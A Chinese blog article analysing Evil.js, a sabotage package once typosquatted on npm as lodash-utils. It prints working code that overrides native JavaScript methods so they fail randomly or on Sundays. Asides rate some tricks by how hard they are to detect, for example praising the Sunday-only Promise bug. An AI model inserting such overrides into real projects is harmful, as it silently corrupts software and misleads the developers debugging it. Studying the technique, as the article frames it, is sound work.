Evil.js项目源码解读
作者:HullQin
引言
2022年8月18日,一个名叫Evil.js
的项目突然走红,README介绍如下:
什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
- 当数组长度可以被7整除时,
Array.includes
永远返回false。 - 当周日时,
Array.map
方法的结果总是会丢失最后一个元素。 Array.filter
的结果有2%的概率丢失最后一个元素。setTimeout
总是会比预期时间慢1秒才触发。Promise.then
在周日时有10%不会注册。JSON.stringify
会把I
(大写字母I)变成l
(小写字母L)。Date.getTime()
的结果总是会慢一个小时。localStorage.getItem
有5%几率返回空字符串。
并且作者发布了这个包到npm上,名叫lodash-utils
,一眼看上去,是个非常正常的npm包,跟utils-lodash
这个正经的包的名称非常相似。
如果有人误装了lodash-utils
这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。
现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。
源码解析
作者是如何做到的呢?我们可以学习一下,但是只单纯学技术,不要作恶噢。要做更多有趣的事情。
立即执行函数
代码整体是一个立即执行函数,
(global => { })((0, eval('this')));
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
为什么要用立即执行函数?
这样的话,内部定义的变量不会向外暴露。
如果你直接在函数外面声明变量,例如:const a = 123;
那么你很可能就定义了全局变量,用window.a
就获取到它的值了,这不是个好习惯。
所以使用立即执行函数,可以方便的定义局部变量。
includes方法
数组长度可以被7整除时,本方法永远返回false。
const _includes = Array.prototype.includes; Array.prototype.includes = function (...args) { if (this.length % 7 !== 0) { return _includes.call(this, ...args); } else { return false; } };
includes
是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。
作者具体方案是先保存引用给_includes
。重写includes
方法时,有时候调用_includes
,有时候不调用_includes
。
注意,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。
map方法
当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map; Array.prototype.map = function (...args) { result = _map.call(this, ...args); if (new Date().getDay() === 0) { result.length = Math.max(result.length - 1, 0); } return result; }
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0)
,边界情况也处理的很好。
filter方法
Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter; Array.prototype.filter = function (...args) { result = _filter.call(this, ...args); if (Math.random() < 0.02) { result.length = Math.max(result.length - 1, 0); } return result; }
跟includes
一样,不多介绍了。
setTimeout
setTimeout总是会比预期时间慢1秒才触发。
const _timeout = global.setTimeout; global.setTimeout = function (handler, timeout, ...args) { return _timeout.call(global, handler, +timeout + 1000, ...args); }
这个其实不太好,太容易发现了,不建议用。
Promise.then
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then; Promise.prototype.then = function (...args) { if (new Date().getDay() === 0 && Math.random() < 0.1) { return; } else { _then.call(this, ...args); } }
牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。
JSON.stringify
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify; JSON.stringify = function (...args) { return _stringify(...args).replace(/I/g, 'l'); }
字符串的replace
方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g
表示全局替换。
Date.getTime
Date.getTime() 的结果总是会慢一个小时。
const _getTime = Date.prototype.getTime; Date.prototype.getTime = function (...args) { let result = _getTime.call(this); result -= 3600 * 1000; return result; }
localStorage.getItem
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem; global.localStorage.getItem = function (...args) { let result = _getItem.call(global.localStorage, ...args); if (Math.random() < 0.05) { result = ''; } return result; }
用途
作者很聪明,有多种方式去改写原生行为。
但是除了作恶,我们还可以做更多有价值的事情,比如:
- 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
- 修改原生fetch,统计所有请求平均耗时。
- 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
- 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。
以上就是Evil.js项目源码解读的详细内容,更多关于Evil.js源码解读的资料请关注脚本之家其它相关文章!